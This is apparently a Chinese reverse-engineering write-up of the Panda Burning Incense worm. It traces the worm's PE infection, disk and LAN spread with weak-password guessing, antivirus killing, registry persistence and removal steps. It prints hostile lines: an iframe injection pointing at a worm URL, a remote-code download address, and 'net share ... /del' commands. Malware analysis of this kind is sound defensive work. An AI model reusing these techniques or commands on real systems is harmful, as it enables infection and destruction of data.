1.准备工作
参考书籍:
VC++反汇编与逆向分析技术揭秘
姜晔病毒木马实战查杀
需要用到的工具:
VM虚拟机
OD
病毒样本:
熊猫烧香
1.1:火绒剑扫描
敏感操作:
自我删除、感染PE文件、覆写PE文件、修改注册表自启动、启动自释放文件、枚举进程、遍历目录、写入文件
1.2:PE工具查看敏感API
壳:无壳
编译语言:Borland Delphi 6.0 - 7.0
连接器版本:2.25
2.OD跟IDA混合使用
2.1:前面都是作者的感慨跟对比字符串操作失败就退出
2.2:分析Call 4082F8函数(自启动复制)
主要功能:
复制自身到系统目录下
逻辑图:
检查"Desktop.ini"是否存在,存在就设置文件属性并且删除文件
call 407760内部
功能:打开文件、获取文件大小、读文件
call 4060D4内部
功能:遍历进程找到病毒进程(spcolsv.exe)就退出并结束掉
CopyFile到系统目录(C:\Windows\System32\drivers),然后就运行程序(spcolsv.exe)
假设是被感染程序就会执行
2.3:分析call 40CFB4函数(病毒感染)
主要功能:
感染全盘,每个目录生成文件,每隔6000MS判断文件是否被删除,删除就重新创建
逻辑图:
1.创建线程(0x40A6C8)遍历全盘
部分关键代码:
遍历磁盘,找出存在的盘符并保存
排除特殊文件夹,非特殊文件夹进行破坏操作
.Ini配置文件就保存日期
判断.ini配置文件内容是否是日期
在C:盘记录感染的文件信息
递归遍历目录下所有文件,并生成文件
删除系统备份文件.GHO
感染文件类型分两种:
第一类:exe、scr、pif、com(40800C)
部分代码分析:
1.判断感染程序是否进行,不是继续
2.将要感染的程序内容写入内存
3.判断感染程序是否有WhBoy字符,有就说明被感染了
4.panda.exe内容直接覆盖到要感染程序(此时是61KB)
5.将被感染文件的内容(500KB)附加到panda.exe(61)后面=(561KB)
第二类:htm、html、asp、php、jsp、aspx
网页感染:
主要将字符串(<iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>)添加到文件末尾
2.每隔6000MS启动一次0x40C0B8函数(本地感染)
主要功能:
生成C:\setup.exe、C:\aoturun.inf文件
部分主要代码:
遍历盘符
判断桌面panda.exe跟C:\setup.exe(释放出来的)MZ标志是否都存在,不存在就创建文件
判断批处理文件(autorun.inf)内容是否相等,不相等就创建文件
call 0040BD08函数分析(局域网感染)
TCP客户端建立
1. 初始化环境 wsastartup
2. 创建套接字 socket
3. 连接服务器 connect
7. 关闭套接字 closesocket
获取本机IP地址
当病毒发现能成功联接攻击目标的139或445端口后,匹配管理员弱密码,连接成功复制自身病启动激活病毒.
被尝试猜测密码的账户号为:
Administrator
Guest
admin
Root
用来进行密码尝试的字典为:
1234
Password
2.4:分析call 40CED4()设置注册表、反杀软
创建四个计时器
先分析第一个定时器(1000MS触发)40CD30函数
主要功能:
设置开机自启动、无法显示隐藏文件、添加SE_DEBUG_NAME特权、关闭杀毒软件、遍历指定进程并结束
逻辑图:
部分主要代码:
创建一个线程4062C8(后续分析)
将病毒Svcshare设置开机自启动Run
设置不显示文件隐藏(让用户无法显示隐藏文件)
分析它创建一个线程4062C8函数(添加特权)
关闭杀毒软件
遍历指定进程并结束进程
第二个计时器(1200000ms触发)40CE8C函数
主要功能:
从http://wangma.9966.org/down.txt网站读取到网页源代码并且运行代码
第三个计时器(10000ms触发)40CE94函数
主要功能:
还会调用如下命令来删除共享:
cmd.exe /c net share C$ /del /y
cmd.exe /c net share A$ /del /y
cmd.exe /c net share admin$ /del /y
第四个计时器(6000ms触发)407540函数
主要功能:
删除服务、删除安全软件相关启动项
删除办法:
1.C:\Windows\System32\drivers\spcolsv.exe 文件
2.HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run目录svcshare 自启动
3.每个盘符根目录下生成两个文件分别是:C:\autorun.inf和setup.exe
4.HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
,病毒将CheckedValue的键值设置为0(无法显示隐藏文件)